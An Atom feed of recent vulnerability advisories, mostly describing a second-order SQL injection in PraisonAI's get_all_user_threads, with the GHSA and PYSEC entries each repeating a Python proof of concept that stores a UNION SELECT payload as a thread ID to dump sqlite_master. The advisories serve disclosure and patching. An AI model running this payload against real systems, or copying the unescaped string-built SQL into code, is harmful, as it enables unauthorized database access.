<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-17T16:05:18.250113+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cnvd-2026-18144</id>
    <title>cnvd-2026-18144</title>
    <updated>2026-10-17T16:05:18.253387+00:00</updated>
    <content>cnvd-2026-18144</content>
    <link href="https://cve.radiocsirt.org/vuln/cnvd-2026-18144"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-280273</id>
    <title>EUVD-2026-280273</title>
    <updated>2026-10-17T16:05:18.253418+00:00</updated>
    <content>EUVD-2026-280273</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-280273"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-34934</id>
    <title>fkie_cve-2026-34934</title>
    <updated>2026-10-17T16:05:18.253438+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-34934"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-9cq8-3v94-434g</id>
    <title>GHSA-9cq8-3v94-434g — PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`</title>
    <updated>2026-10-17T16:05:18.253467+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: praisonai</p>
<p>## Summary</p>
<p>The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.</p>
<p>---</p>
<p>## Details</p>
<p>**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`</p>
<p>**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```</p>
<p>- **Hop (Line 547):**
```python
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
```</p>
<p>- **Sink (Line 576):**
```sql
WHERE s."threadId" IN {thread_ids}
```</p>
<p>---</p>
<p>## Proof of Concept (PoC)</p>
<p>```python</p>
<p>import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer</p>
<p>async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")</p>
<p># Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )</p>
<p># Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"</p>
<p>await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )</p>
<p># Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")</p>
<p>for thread in result:…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-9cq8-3v94-434g"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-470</id>
    <title>PYSEC-2026-470 — PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`</title>
    <updated>2026-10-17T16:05:18.253520+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: praisonai</p>
<p>## Summary</p>
<p>The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.</p>
<p>---</p>
<p>## Details</p>
<p>**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`
 
**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```</p>
<p>- **Hop (Line 547):**
```python
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
```</p>
<p>- **Sink (Line 576):**
```sql
WHERE s."threadId" IN {thread_ids}
```</p>
<p>---</p>
<p>## Proof of Concept (PoC)</p>
<p>```python</p>
<p>import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer</p>
<p>async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")</p>
<p># Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )</p>
<p># Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"</p>
<p>await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )</p>
<p># Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")</p>
<p>for thread in result:…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-470"/>
  </entry>
</feed>
